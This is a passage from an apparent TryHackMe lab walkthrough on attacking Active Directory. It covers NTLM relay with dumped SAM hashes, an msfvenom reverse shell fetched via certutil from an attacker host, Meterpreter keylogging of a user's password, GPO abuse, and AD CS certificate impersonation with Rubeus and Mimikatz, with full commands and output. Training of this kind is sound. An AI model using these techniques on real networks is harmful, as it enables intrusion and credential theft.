PrinterStatus : 3
ShareName     :
SystemName    : THMSERVER2

Location      :
Name          : Microsoft Print to PDF
PrinterState  : 0
PrinterStatus : 3
ShareName     :
SystemName    : THMSERVER2

The output from the cmdlet verifies that the service is running. If we get an access denied error, you could perhaps attempt the PowerShell command of Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc. However, Microsoft has been cracking down viewing these ports from the network's perspective. If both give you an error, you may just need to take a leap of faith. Thus, condition three has been met.

SMB Signing

In order to relay the coerced authentication attempt, SMB signing should not be enforced. It should be noted that there is a difference between SMB signing being allowed and SMB signing being enforced. Since some legacy systems do not support SMB signing, by default, the configuration of SMB is that signing is allowed but not enforced, meaning that it will only be used if supported. Since we will be hosting a malicious SMB server, we can ensure our server does not support signing, forcing the target not to sign the SMB authentication attempt.

To verify that THMSERVER1 and THMSERVER2 do not have SMB signing enforced, we can use Nmap on our AttackBox:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-29 13:59 CET
Nmap scan report for thmserver1.za.tryhackme.loc (10.200.83.201)
Host is up (0.068s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Nmap scan report for thmserver2.za.tryhackme.loc (10.200.83.202)
Host is up (0.035s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Nmap done: 2 IP addresses (2 hosts up) scanned in 15.55 seconds

We can see that SMB signing is enabled but not enforced based on the output. This means all our conditions are met, and we can start the attack!

Exploiting Authentication Relays

We will be using SpoolSample to exploit the authentication relay. It is a C# exploit but has already been compiled for you and stored in the C:\Tools\ directory on THMWRK1. We will use Spoolsample.exe to coerce THMSERVER2 to authenticate to us on our AttackBox and then Impacket's ntlmrelayx.py to relay the authentication attempt THMSERVER1. Note that if you are using your own VM, you will need to make sure you have the updated version of Impacket that supports SMBv2.

The first step is to set up the NTLM relay. On our AttackBox, we can use the following:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ impacket-ntlmrelayx -smb2support -t smb://"10.200.83.201" -debug

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

If we specify the hostname of THMSERVER1 instead of the IP, the host could request that we use Kerberos authentication instead of NTLM. Hence we should specify the IP instead. With the relay listening, we can now coerce THMSERVER2 to authenticate to us. In an SSH terminal on THMWRK1, execute the following:

impacket-ntlmrelayx -smb2support -t smb://"10.200.83.201" -debug                     

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.200.83.202, attacking target smb://10.200.83.201
[*] Authenticating against smb://10.200.83.201 as ZA/THMSERVER2$ SUCCEED
[+] No more targets
[*] SMBD-Thread-7 (process_request_thread): Connection from 10.200.83.202 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8 (process_request_thread): Connection from 10.200.83.202 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] Retrieving class info for JD
[+] Retrieving class info for Skew1
[+] Retrieving class info for GBG
[+] Retrieving class info for Data
[*] Target system bootKey: 0x4e05e7ea4fdddde75aa56010474948dc
[+] Saving remote SAM database
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
ServerAdmin:500:aad3b435b51404eeaad3b435b51404ee:3279a0c6dfe15dc3fb6e9c26dd9b066c:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92728d5173fc94a54e84f8b457af63a8:::
[+] NewStyle hashes is: True
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e96eab5f240174fe2754efc94f6a53ae:::
[+] NewStyle hashes is: True
trevor.local:1001:aad3b435b51404eeaad3b435b51404ee:43460d636f269c709b20049cee36ae7a:::
[*] Done dumping SAM hashes for host: 10.200.83.201
[*] Stopping service RemoteRegistry

Exploiting AD Users

We have gotten quite far with our exploitation up to this point. We have full administrative access to workstations and servers. Essentially, we can perform post-exploitation on almost any Tier 1 and Tier 2 system. But we still want to go further. This next task can also be seen as post-exploitation but is often an excellent thing to use when we are still performing exploitation to reach a suitable position for goal execution. It is time for us to target AD users.

Users and User Behavior

The factory of the future will only have two employees. A human and a dog. The human will be there to feed the dog. The dog will be there to bite the human if they try to touch something. - Warren Bennis

Users are, unfortunately, often the weakest link in the security chain. Just think about weak passwords and bad habits, such as granting overly permissive permissions. It would be ignorant and ineffective to overlook this attack surface. While it is good to build up a proper enumeration and attack methodology against AD users, in this task, we will focus on two elements:

  • Credential Management - How users store their credentials. In AD, this is quite important since users may have multiple sets of credentials and remembering all of them can be a hassle.
  • Keylogging - Often, during exploitation, we need to understand how normal users interact with a system. Together with screengrabs, Keylogging can be a useful tool to gain this understanding from an attacker's perspective.

Hunting for Credentials

Now that we have compromised THMSERVER1, we should probably look around to see if there is any useful information. Have a look at the user directories and see if there is some useful information in any of them.

[thmserver1.za.tryhackme.loc]: PS C:\Users> dir .\trevor.local\Documents\


    Directory: C:\Users\trevor.local\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/30/2022   4:36 PM           2190 PasswordDatabase.kdbx

Your enumeration efforts should lead you to a .kdbx file. A quick Google should confirm our suspicion that this file is indeed very valuable! We can use Meterpreter's download command to recover this file.

This file seems to be a credential database. The issue, however, is that the database is encrypted with a password. We could attempt to crack the password, but anyone who uses a credential database usually has the savvy to make sure the initial password is secure. We may have more success seeing how the user interacts with this database.

SYSTEM is Sometimes Too Privileged

Meterpreter has a built-in keylogger. This will be useful for extracting the user's keystrokes. However, we can't just start this keylogger and hope for the best since our shell is currently running in the SYSTEM context. SYSTEM won't be typing any keystrokes, so this won't help us. To capture the correct user's credentials, we will need to ensure that our shell is running in the context of that user.

Fortunately, Meterpreter provides us with a migrate feature, and since we are running as SYSTEM, we should be able to migrate to any process. You have remote code execution on THMSERVER1, use this to get a Meterpreter shell.

Firstly, we can connect to the thmserver1 with evilrm by using NTLM found previously.

You can use the following command to generate a PowerShell meterpreter payload:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/ad]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="10.50.81.230" LPORT="4444" -f psh -o shell.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of psh file: 3240 bytes
Saved as: shell.ps1

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/ad]
└─$ python3 -m http.server 80                                                                            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

You can host your meterpreter shell using a Python webserver and then copy it using something like this: certutil.exe -urlcache -split -f http://10.50.81.230/shell.ps1

You can then also use the following to create the associated listener in the msfconsole:

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.50.81.230; set LPORT 4444; exploit"  
[sudo] password for parallels: 
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
LHOST => 10.50.81.230
LPORT => 4444
[*] Started reverse TCP handler on 10.50.81.230:4444

Once you have a meterpreter shell, you can continue. The first step is to see if the users have any running processes on this machine:

meterpreter\>ps | grep "explorer"
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                     Path
 ---   ----  ----          ----  -------  ----                     ----
 3612  3592  explorer.exe  x64   1        THMSERVER1\trevor.local  C:\Windows\explorer.exe

It seems like we are lucky! The user has an active session on THMSERVER1. Let's migrate to a process of this user. The safest bet is usually sometime like explorer.exe:

meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.

We can confirm that we are now running in the context of our target using the getuid command:

meterpreter\>getuid
Server username: THMSERVER1\trevor.local

Now we are ready to start our keylogger:

meterpreter\>keyscan_start
Starting the keystroke sniffer ...

Now we have to be patient and wait. If we are lucky, we will capture some credentials! Give it a couple of minutes, and then run the following to dump captured keystrokes:

meterpreter\>keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Imreallysurenoonewillguessmypassword<CR>

This is a straightforward example of targeting AD users. There is a lot more that can be done. It is essential to include user targeting in your exploitation methodology for AD. To answer the questions for this task you will need Keepass. It has been installed on the AttackBox for you so you can just search for and run the application. If you are using your own VM, on most Linux distros sudo apt install keepassx will work. Also make sure to use the meterpreter download command to download the Keepass database to you host. If you are using Kali, make sure that the kali user owns the database file before you open it, otherwise it might lock the database and give you incorrect results.

Although persistence will only be discussed in the next room, now might be a good time to create a local account on THMSERVER1 and grant it admin rights so you have a good foothold. Since this is not really needed for the rest of the tasks, if you want to do this, you will need to do a bit of research on this yourself.

Exploiting GPOs

Keylogging the user allowed us to decrypt their credential database, providing us with credentials that can be useful to further our goal of AD exploitation, namely the svcServMan account. We need to perform a bit of enumeration to figure out what these credentials will be useful for. Luckily for us, we already have Sharphound data that we can use. Using the search feature in Bloodhound, let's review the permissions that the discovered account has: 495c0b2f8994b630387d26b8696ddabc.png

One permission, in particular, stands out for this account, ownership over a Group Policy Object (GPO). Furthermore, when we do a bit of investigation, it seems like this GPO is applied to our THMSERVER2 machine: 7a76e6671b3f7c2f7821b328219984e7.png

This may provide us with the ideal opportunity to further our AD exploitation!

Group Policy Objects

Remember when we discussed the SYSVOL directory in Enumerating AD? This is the directory where AD GPOs are stored to be replicated to domain-joined machines. A GPO is a virtual collection of policy settings. Each GPO has a unique name, called a GUID. That's why if you try to read the contents of the SYSVOL directory, it won't make a lot of sense with all the random names.

Each Windows computer has a Local Policy Configuration. This contains several notable configurations such as:

  • Application configuration for services such as the Firewall, Anti-Virus, and Applocker.
  • Local Group membership such as the Administrator or Remote Desktop Users groups.
  • Startup configuration such as scripts that should be executed.
  • Security and protocol settings such as SMBv1 support.

These are just a few examples. There are a significant amount of configuration options that can be set.

Group Policy Management

If you only have one Windows computer, it is easy to change the local policy configuration directly on the host. However, you need a mechanism to deploy a configuration from a central location in large organisations. This is where Group Policy Management (GPM) comes into play. Instead of defining policies locally on each machine, GPM allows us to define policies directly on the AD structure. Essentially, we can define GPOs for AD objects, such as a specific OU or group.

Domain-joined computers would then pull all policies from SYSVOL periodically and apply the relevant ones. By default, policies are replicated every 15 minutes through the gpupdate application. We can, however, also manually execute this application from Command Prompt to apply policies instantly.

Group Policy Management

If you only have one Windows computer, it is easy to change the local policy configuration directly on the host. However, you need a mechanism to deploy a configuration from a central location in large organisations. This is where Group Policy Management (GPM) comes into play. Instead of defining policies locally on each machine, GPM allows us to define policies directly on the AD structure. Essentially, we can define GPOs for AD objects, such as a specific OU or group.

Domain-joined computers would then pull all policies from SYSVOL periodically and apply the relevant ones. By default, policies are replicated every 15 minutes through the gpupdate application. We can, however, also manually execute this application from Command Prompt to apply policies instantly.

Exploiting GPOs

Although there are several ways in which GPOs can be exploited, we will stick with the simple solution of adding an AD account we control to both the local Administrators and local Remote Desktop Users groups. This will allow us administrative privileges on THMSERVER2 and the ability to RDP in. We could also use the exposed SSH port, but not many organisations have upgraded to providing SSH access. Hence, RDP access or conventional lateral movement techniques like SMBExec are safer.

In order to modify the GPO, we need to access Group Policy Management as the AD user that has the relevant permissions. We could RDP into THMSERVER1 as the user, but that may kick the user out of their active session, raising suspicion. Instead, we will RDP into THMWRK1 with either our normal or our Tier 2 Admin account, inject the AD user's credentials into memory using the runas command, and open MMC to modify the GPO.

za\colin.lane@THMWRK1 C:\Users\colin.lane>runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
Enter the password for za.tryhackme.loc\svcServMan:
Attempting to start cmd.exe as user "za.tryhackme.loc\svcServMan" ...

za\colin.lane@THMWRK1 C:\Users\colin.lane>

To verify that you provided the correct credentials, you can run dir \\za.tryhackme.loc\sysvol. In the newly spawned command prompt window, we can start the Microsoft Management Console:

mmc

We now want to add the Group Policy Management snap-in:

  1. Click File -> Add/Remove Snap-in
  2. Select the Group Policy Management snap-in and click Add
  3. Click Ok

You should now be able to see GPOs for the za.tryhackme.com domain: 0991b6f51617d43261491c4b0930a214.png

We can now navigate to the GPO that our user has permission to modify (Servers > Management Servers> Management Server Pushes). 1f7fc474ddf6a68dbb1b23869559d232.png

We can right-click on the GPO and select Edit. This will open the new Group Policy Management Editor window. 70a4c74b11959e6a22c6caec1d54c321.png

In order to add our account to the local groups, we need to perform the following steps:

  1. Expand Computer Configuration
  2. Expand Policies
  3. Expand Windows Settings
  4. Expand Security Settings
  5. Right Click on Restricted Groups and select Add Group (If the IT Support group already exists, it means someone has already performed the exploit. You can either delete it to create it yourself, or just inspect it to see what was configured.)
  6. Click Browse, enter IT Support and click Check Names
  7. Click Okay twice

2fb8176145d46b1d7c2708c05b63fb1b.png

The first filter is not used. For the second filter, we want to add both the Administrators and Remote Desktop Users groups. In the end, it should look something like this: 1f4d9e24074fd1a199df29e9288a1739.png

Once the configuration has been made, we can click Apply and OK. Now, all we need to do is wait for a maximum of 15 minutes for the GPO to be applied. After this, our initial account that we made a member of the IT Support group will now have administrative and RDP permissions on THMSERVER2!

Exploiting Certificates

Now that we have access to THMSERVER2, we have furthered our journey of exploiting AD by exploiting all Tier 1 assets (servers). However, we are again stuck without the simple means to move to the next tier. So again, we will need to look for more creative paths.

Research done and released as a whitepaper by SpecterOps showed that it was possible to exploit misconfigured certificate templates for privilege escalation and lateral movement.

AD Certificate Services

AD Certificate Services (CS) is Microsoft's Public Key Infrastructure (PKI) implementation. Since AD provides a level of trust in an organisation, it can be used as a CA to prove and delegate trust. AD CS is used for several things, such as encrypting file systems, creating and verifying digital signatures, and even user authentication, making it a promising avenue for attackers.

Since AD CS is a privileged function, it usually runs on selected domain controllers. Meaning normal users can't really interact with the service directly. On the other side of the coin, organisations tend to be too large to have an administrator create and distribute each certificate manually. This is where certificate templates come in. Administrators of AD CS can create several templates that can allow any user with the relevant permissions to request a certificate themselves. These templates have parameters that say which user can request the certificate and what is required. SpecterOps found that specific combinations of these parameters can be incredibly toxic and abused for privilege escalation and persistent access.

Before we dive deeper into certificate abuse, some terminology:

  • PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
  • AD CS - Active Directory Certificate Services is Microsoft's PKI implementation which usually runs on domain controllers
  • CA - Certificate Authority is a PKI that issues certificates
  • Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
  • CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
  • EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used

Finding Vulnerable Certificate Templates

In order to find vulnerable templates, we will use Window's built-in tool certutil. Using our RDP access on THMSERVER2, we can run the following Powershell script to enumerate certificates:

C:\>certutil -Template -v > templates.txt

This will provide output on all configured templates. We could also use a certificate auditing tool such as Ghostpack's PSPKIAudit. However, a manual approach allows us to make sure we find all possible misconfigurations. A certificate template is deemed misconfigured if a combination of parameter values becomes poisonous, allowing the requester to perform privilege escalation. In our case, we are looking for a template with the following poisonous parameter combination:

  • Client Authentication - The certificate can be used for Client Authentication.
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN).
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.
  • Certificate Permissions - We have the required permissions to use the certificate template.

If you are interested in learning more about poisonous parameter combinations, have a read of the whitepaper from SpecterOps. Since the aim of this room is to gain more broad knowledge of AD exploitation attacks, we will be pointing out that Template[32] is the vulnerable template. In this template, we can see that the machine account of THMSERVER2 can issue a CSR for a template that allows us to specify the Subject Alternative Name (SAN) and can be used for client authentication.

SpecterOps mentions eight common security misconfigurations with AD CS, so it should be noted that there are still a significant amount of potential misconfigurations that can be found.

Exploiting a Certificate Template

Using RDP access on THMSERVER2, we will now request our certificate. If you use Remmina and save the config of the RDP connection, please make sure to disable Restricted admin mode. We will use the Microsoft Management Console (MMC):

  1. Click Start->run
  2. Type mmc and hit enter
  3. Click File->Add/Remove Snap-in..
  4. Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts.
  5. Click OK

You should now see the Certificate snap-in: 14dfb331bb59343b5fdb476c4f2c613a.png

We will request a personal certificate:

  1. Right Click on Personal and select All Tasks->Request New Certificate...
  2. Click Next twice to select the AD enrollment policy.
  3. You will see that we have one template that we can request, but first, we need to provide additional information.
  4. Click on the More Information warning.
  5. Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add.
  6. Change the Alternative name Type option to User principal name.
  7. Supply the UPN of the user you want to impersonate. The best would be a DA account such as Administrator@za.tryhackme.loc and click Add.

Your additional information should look something like this: a9316889474bb0be7d73a7b17f6e3b09.png

Once you are happy with it, click Apply and OK. Then, select the certificate and click Enroll. You should be able to see your certificate: b1b5d8673d9e08320f482740a7427b3d.png

The last step is to export our certificate with the private key:

  1. Right-click on the certificate and select All Tasks->Export...
  2. Click Next, select Yes, export the private key, and click Next.
  3. Click Next, then set a password for the certificate since the private key cannot be exported without a password. Set the encryption type to AES-256
  4. Click Next and select a location to store the certificate.
  5. Click Next and finally click Finish.

User Impersonation through a Certificate

Now we can finally impersonate a user. To perform this, two steps are required:

  • Use the certificate to request a Kerberos ticket-granting ticket (TGT)
  • Load the Kerberos TGT into your hacking platform of choice

For the first step, we will be using Rubeus. An already compiled version is available in the C:\Tools\ directory. Open a command prompt window and navigate to this directory. We will use the following command to request the TGT:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc:

Let's break down the parameters:

  • /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
  • /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
  • /certificate - Path to the certificate we have generated
  • /password - The password for our certificate file
  • /outfile - The file where our TGT will be output to
  • /domain - The FQDN of the domain we are currently attacking
  • /dc - The IP of the domain controller which we are requesting the TGT from. Usually it is best to select a DC that has a CA service running

Once we execute the command, we should receive our TGT:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:private_key.pfx /password:test /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.83.101

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=test
[*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

[*] Ticket written to administrator.kirbi


  ServiceName              :  krbtgt/za.tryhackme.loc
  ServiceRealm             :  ZA.TRYHACKME.LOC
  UserName                 :  Administrator
  UserRealm                :  ZA.TRYHACKME.LOC
  StartTime                :  11/30/2022 7:07:09 PM
  EndTime                  :  12/1/2022 5:07:09 AM
  RenewTill                :  12/7/2022 7:07:09 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  FkO+aJwJpAUl45FlKzfrR9nnHH8dXG5r0oeweOdDBDA=
  ASREP (key)              :  EF7324EF211A9BFE75B48C7C0D79DD9E7869734E3EAFDF78B86F1F04B1926B61

Now we can use Mimikatz to load the TGT and authenticate to THMDC:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt administrator.kirbi

* File: 'administrator.kirbi': OK

mimikatz # exit
Bye!

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>dir \\THMDC.za.tryhackme.loc\c$\ 
 Volume in drive \\THMDC.za.tryhackme.loc\c$ is Windows 
 Volume Serial Number is 1634-22A9

 Directory of \\THMDC.za.tryhackme.loc\c$

01/04/2022  07:47 AM               103 delete-vagrant-user.ps1
05/01/2022  08:11 AM               169 dns_entries.csv
09/15/2018  07:19 AM    <DIR>          PerfLogs
03/21/2020  08:31 PM    <DIR>          Program Files
03/21/2020  08:28 PM    <DIR>          Program Files (x86)
05/01/2022  08:17 AM             1,725 thm-network-setup-dc.ps1
04/25/2022  06:13 PM    <DIR>          tmp
06/14/2022  02:13 PM    <DIR>          Users
04/25/2022  06:11 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant] 
04/27/2022  07:12 PM    <DIR>          Windows

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>more \\THMDC.za.tryhackme.loc\c$\Users\Administrator\Desktop\flag5.txt
THM{AD.Certs.Can.Get.You.DA}

Finally, we have access to Tier 0 infrastructure and have compromised the full child domain!

Exploiting Domain Trusts

Even though we have access to Tier 0 infrastructure, this is still not enough. We have only exploited the ZA.TRYHACKME.LOC domain. Surely TRYHACKME must have domains for other regions as well? Well, if we take control of the root domain, TRYHACKME.LOC, we will be in a position to compromise all of these regional domains. In this task, we will look at how domain trust can be exploited to take control of the entire forest.

Domain Trusts

A forest is a collection of one or more domain trees inside an AD network. Domain Trusts are a mechanism for users in the network to gain access to other resources in the domain. For the most part, trusts outline how the domains inside of a forest communicate with each other. In some environments, trusts can be extended out to external domains and even forests in some cases.

There are two main types of trusts that can be configured between domains:

  • Directional - The direction of the trust flows from a trusting domain to a trusted domain

  • Transitive - The trust relationship expands beyond just two domains to include other trusted domains

It is common to have a root or parent domain in a forest. In our case, this is TRYHACKME.LOC. For each regional office, sub or child domains are created, such as ZA.TRYHACKME.LOC or UK.TRYHACKME.LOC. This forest configuration will allow the sharing of resources between the ZA and the UK office. For example, if some user in the UK office requires access to THMSERVER1, we can grant access for the user in the ZA domain. This permission delegation works since there is bidirectional trust between ZA and the root domain and the UK and the root domain, essentially creating a transitive trust between ZA and UK.

As mentioned above, the trust between a parent and child domain is bidirectional. This is intended behaviour and is used to share resources through greater transitive trust relationships. However, as an attacker, we can also exploit this trust to compromise the parent domain if we have compromised a child domain.

KRBTGT and Golden Tickets

KRBTGT is the account used for Microsoft's implementation of Kerberos. The name is derived from Kerberos (KRB) and Ticket Granting Ticket (TGT). Essentially, this account acts as the service account for the Kerberos Distribution Center (KDC) service, which handles all Kerberos ticket requests. This account is used to encrypt and sign all Kerberos tickets for the domain. Since the password hash is shared by all domain controllers, they can then verify the authenticity of the received TGT when users request access to resources.

